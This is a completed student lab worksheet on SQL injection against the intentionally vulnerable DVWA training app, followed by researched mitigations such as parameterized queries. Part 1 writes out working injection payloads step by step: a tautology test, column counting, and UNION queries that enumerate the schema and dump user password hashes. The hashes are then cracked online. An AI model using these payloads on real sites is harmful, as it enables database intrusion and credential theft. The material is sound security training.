TP1 - Injection Attacks

Objectives

Websites that are connected to backend databases can be vulnerable to SQL injection. In a SQL injection exploit, an attacker enters malicious queries that interact with the application database. In this lab, you will exploit a web site vulnerability with SQL injection and research SQL injection mitigation.

- Part 1: Exploit an SQL Injection Vulnerability on DVWA
- Part 2: Research SQL Injection Mitigation

Background / Scenario

SQL injection is a common attack used by hackers to exploit SQL database-driven web applications. This type of attack involves inserting malicious SQL code or statements into an input field or URL with the goal of reveling or manipulating the database contents, causing repudiation system issues, or spoofing identities.

Instructions

Part 1: Exploit an SQL Injection Vulnerability on DVWA

SQL injection is a code injection technique used to exploit security vulnerabilities in the database layer of an application. These vulnerabilities could allow an attacker to execute malicious SQL commands and compromise the security of the database.

In this part you will exploit a SQL vulnerability on the DVWA.

Step 1: Prepare DVWA for SQL Injection Exploit.

a. Open your browser and navigate to the DVWA at http://10.6.6.13.

b. Enter the credentials: **admin** / **password**.

c. Set DVWA to Low Security.

   1. Click **DVWA Security** in the left pane.
   2. Change the security level to **Low** and click **Submit**.

Step 2: Check DVWA to see if a SQL Injection Vulnerability is Present.

a. Click **SQL Injection** in the left pane.

b. In the **User ID:** field type **' OR 1=1 #** and click **Submit**.

What happened: the output:

ID: ' OR 1 = 1 #

First name: admin

Surname: admin

ID: ' OR 1 = 1 #

First name: Gordon

Surname: Brown

ID: ' OR 1 = 1 #

First name: Hack

Surname: Me

ID: ' OR 1 = 1 #

First name: Pablo

Surname: Picasso

ID: ' OR 1 = 1 #

First name: Bob

Surname: Smith

Step 3: Check for Number of Fields in the Query.

a. In the **User ID:** field type **1' ORDER BY 1 #** and click **Submit**.
b. In the **User ID:** field type **1' ORDER BY 2 #** and click **Submit**.
c. In the **User ID:** field type **1' ORDER BY 3 #** and click **Submit**.

What happened: The output:

ID: 1' ORDER BY 1 #

First name: admin

Surname: admin

For the second case:

ID: 1' ORDER BY 2 #

First name: admin

Surname: admin

For the third case:

Unknown column '3' in 'order clause'

Step 4: Check for version Database Management System (DBMS).

In the User ID: field type **1' OR 1=1 UNION SELECT 1, VERSION()#** and click **Submit**.

What Does the last line mean:

Version of MySQL DBMS (5.5.58.) that was packaged for debian 8 OS so we might conclude that the system might be running this version.

Step 5: Determine the database name.

So far you have learned that the database is vulnerable, the query involves two fields, and the DDMS is MySQL 5.5.58.

Next, you will attempt obtain more schema information about the database.

In the User ID: field type **1' OR 1=1 UNION SELECT 1, DATABASE()#** and click **Submit**.

What is the name of the database: dvwa

Step 6: Retrieve table Names from the dvwa database.

a. In the **User ID:** field type:

1' OR 1=1 UNION SELECT 1,table_name FROM information_schema.tables WHERE table_type='base table' AND table_schema='dvwa'#

b. Click **Submit**.

The output with **First Name: 1** is the table information.

What are the two tables that were found?

Answer: **guestbook and users.**

Which table do you think is the most interesting for a penetration test?

Answer: **users table is the most interesting for a penetration test**

Step 7: Retrieve column names from the users table.

You will now discover the field names in the users table. This will help you to find information that is useful for the pentest.

a. In the **User ID:** field type:

1' OR 1=1 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users'#

b. Click **Submit**.

The list of column names displays after the listing of user accounts in the output. The information in which two columns is of interest to use in our penetration test? Explain.

Answer:

The key information of interest for our penetration test includes:

- **The password column: This stores either plaintext passwords or their hashes for each user in the system. If passwords are weak or improperly stored, this could allow unauthorized access to user accounts.**
- **The user column: This provides access to user information, which can be leveraged for further exploitation or reconnaissance.**

Step 8: Retrieve the user credentials.

This query will retrieve the users and passwords.

a. In the **User ID:** field type:

1' OR 1=1 UNION SELECT user, password FROM users #

b. Click **Submit**.

After the list of users, you should see several results with usernames and what appears to be password hashes.

Which account could be the most valuable in our pentest? Explain.

Answer:

The admin account is the most valuable target in our penetration test for the following reasons:

Privilege Level:

The admin account typically holds the highest privileges within the system, allowing access to sensitive configurations, user data, and the ability to modify or disable security mechanisms.

Password Hash Analysis:

The password hash associated with the admin account, `5f4dcc3b5aa765d61d8327deb882cf99`, is a well-known MD5 hash for the password "password." This represents a weak and widely-used password that can be easily cracked, making it a low-effort, high-reward target.

Impact of Compromise:

Compromising the admin account would likely grant full control over the system, enabling actions such as enumerating other accounts, escalating privileges, and potentially pivoting to additional systems.

c. Try crafting queries to display the contents of other fields in the table by varying the column names based on the names previously displayed.

What is the difference between the **user_id** and **user** fields?

Answer:

The difference between the `user_id` and `user` fields lies in their purpose, type, and functionality:

- **`user_id` Field:**
  - **Purpose: Serves as a unique identifier for each user in the table.**
  - **Type: Typically an integer or a UUID (Universally Unique Identifier).**
  - **Functionality: Acts as the primary key for the user table and is used to establish relationships between tables (foreign keys). It is immutable and remains unchanged.**
- **`user` Field:**
  - **Purpose: Represents the username or login credential for the user.**
  - **Type: Generally a string.**
  - **Functionality: Used for authentication, it is dynamic (can be changed) and may not always be unique, depending on the system's design.**

Step 9: Hack the password hashes.

a. Open another browser tab and navigate to https://crackstation.net.

CrackStation is a free online password hash cracker.

b. Copy and paste the password hash from DVWA into CrackStation and click **Crack Hashes**.

What is the password of the admin account?

Answer: : **password**

What is the password for the user pablo?

Answer: letmein

Part 2: Research SQL Injection Mitigation

Step 1: Conduct online research on SQL injection mitigation.

a. Open a web browser and search SQL injection mitigation and SQL injection prevention.

What are three mitigation methods for preventing SQL injection exploits and examples?

Answer :

Here are three effective methods for mitigating SQL injection exploits:

Parameterized Queries: This technique ensures user inputs are treated strictly as data and not executable SQL code. By using placeholders for input values, malicious code cannot alter the query structure. For instance, in Java:

```
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
```

1. This prevents attackers from injecting harmful SQL commands into queries

Stored Procedures: Stored procedures execute pre-defined SQL statements with parameters, reducing the risk of injection by limiting user input interactions with the database logic. For example:

```
CREATE PROCEDURE GetUser (@username NVARCHAR(50))
AS
BEGIN
   SELECT * FROM Users WHERE Username = @username
END
```

2. When securely implemented, these prevent direct SQL manipulation

Input Validation and Escaping: Ensuring all user inputs are sanitized and escaped can prevent harmful characters (like ' or --) from altering SQL logic. Input validation verifies input against expected patterns, while escaping neutralizes harmful characters before processing

Each of these techniques provides a robust layer of defense when implemented properly, reducing the likelihood of successful SQL injection attacks. Combining these with regular updates, proper error handling, and web application firewalls can further enhance security.